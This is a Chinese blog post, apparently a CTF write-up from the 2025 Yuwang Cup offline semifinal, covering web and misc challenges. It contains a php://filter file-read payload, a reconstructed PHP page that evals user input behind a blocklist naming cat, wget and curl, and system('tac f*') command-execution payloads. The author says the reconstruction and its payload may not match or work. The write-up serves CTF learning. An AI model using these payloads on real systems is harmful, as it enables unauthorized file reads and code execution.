Huajiの小窝.

御网杯2025线下赛

2025/07/12
loading

御网杯2025线下半决赛本科组

​ 主包头一次打到线下,还是比较有压力的,假期放了快半个月,憋在寝室里疯狂刷题,结果也很不错,半决赛ctf拿了第一,所有非零解的题都出了,也算是给自己的18岁和大一生涯一个交代了。同时也感谢两位队友带飞。

​ 决赛就不是非常理想了,两个本科生都没怎么接触过相关内容,研究生学长是学pwn的,不出意外的出意外了,但lemon扛下重任,给俺们混了个一等奖(大概)

俺主要负责web和misc。

WP

这次俺负责的题目除了那个零解题以外都很简单

web

双重编码

这题很傻逼,抽象在他自己网站的参数都会显示“路径异常”,而且谁家好人会把flag.php放根目录下面啊。

所以这个题就很简单,但是还是要考虑一下抽象路径

payload:?cx=php://filter/read=convert.base64-encode/resource=/flag.php

命令执行

前几天刷过类似的题,这里忘记把题目copy下来了,所以写了个类似的内容(非原题,而且也忘了payload能不能通,过几天就改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
//复刻版,原版忘了保存了
//flag在flag.php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(!preg_match("/\;|cat|php|[0-9]|more|wget|less|head|sort|tail|strings|od|curl|\`|\%|\>|\</i", $cmd)){
if(preg_match("/\*\?/i",$cmd)){
eval($cmd);
}
else{
echo 'HACK!!!';
}
}else{
echo 'HACK!!!';
}
}
?>//等到找到原件就改

最后执行的命令好像是?cmd=var_export(scandir(‘glob:///*’)),受上一题影响,跑到根目录看了一下,无果。

那肯定就在当前目录下了(当时是猜的),所以直接读payload:?cmd=system(“tac f*”)
这题是在记不清楚了,只能这么写了

sql注入

sqlmap一把梭,脑子都不需要

misc

键盘流量

netA一把梭出来

1
666c61677b44477377546667793147443233366673327366463264736b4c6e677d

用hex解一下就可以了

图片隐写

打开发现有个“这是一张图片.png”,读取文件头发现是0050开头,修复文件头为8950之后就可以看见图片内容了,图片上是解压密码:ctf@welcome,拿这个来解压压缩包,获得一个flag.jpg,查看图片块信息有字符串

1
Y3RmX3lvdV9wYXNzZWQ=

base64解码即可

文档(忘名字了)

把文档进行foremost提取,发现一个zip,解压后用everything来搜content:flag,可以发现document.xml里有关键字,打开发现flag

具体内容到时候搭个靶场放题目

CATALOG
  1. 1. 御网杯2025线下半决赛本科组
    1. 1.1. WP
    2. 1.2. web
      1. 1.2.1. 双重编码
      2. 1.2.2. 命令执行
      3. 1.2.3. sql注入
    3. 1.3. misc
      1. 1.3.1. 键盘流量
      2. 1.3.2. 图片隐写
      3. 1.3.3. 文档(忘名字了)